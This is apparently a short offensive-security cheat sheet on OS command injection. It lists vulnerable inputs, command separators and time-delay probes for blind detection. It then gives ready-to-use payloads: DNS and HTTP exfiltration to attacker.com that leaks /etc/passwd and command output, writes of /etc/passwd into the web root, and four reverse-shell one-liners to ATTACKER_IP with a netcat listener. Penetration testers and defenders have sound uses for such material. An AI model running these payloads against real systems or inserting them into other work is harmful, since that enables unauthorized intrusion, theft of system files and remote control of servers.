OS Command Injection
Execute arbitrary operating system commands on the server.
Methodology
- 1Identify inputs passed to OS commands (ping, nslookup, file operations)
- 2Test command separators for injection
- 3Determine if output is returned (in-band) or not (blind)
- 4Use time delays or DNS/HTTP out-of-band for blind detection
- 5Escalate to reverse shell
Detailed Steps
Common vulnerable functionality:
- DNS lookup / ping utilities
- File operations (view, convert, download)
- Network diagnostic tools
- PDF/image generation
- Email sending (mail command)
Test parameters:
shell
?ip=127.0.0.1
?host=example.com
?filename=report.pdf
?url=http://example.comLinux & Windows:
shell
; whoami
| whoami
|| whoami
& whoami
&& whoamiLinux only:
shell
`whoami`
$(whoami)Newline:
shell
%0a whoami
%0d%0a whoamiExample payload in parameter:
shell
127.0.0.1; whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 && idWhen no output is returned, use time delays:
shell
; sleep 10
| sleep 10
& ping -c 10 127.0.0.1 &
|| ping -c 10 127.0.0.1
; ping -n 10 127.0.0.1 (Windows)If the response is delayed by ~10 seconds, command injection is confirmed.
Use Burp Collaborator or webhook.site to detect blind injection:
bash
; nslookup attacker.burpcollaborator.net
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/$(id|base64)
| nslookup `whoami`.attacker.comDNS exfiltration:
bash
; nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.comRedirect output to web root:
bash
; whoami > /var/www/html/output.txt
; cat /etc/passwd > /var/www/static/out.txtReverse shells:
bash
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
; python -c 'import socket,subprocess;s=socket.socket();s.connect(("ATTACKER_IP",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
; nc ATTACKER_IP 4444 -e /bin/sh
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/fListener:
bash
nc -lvnp 4444Tools
Burp SuiteCommixnetcat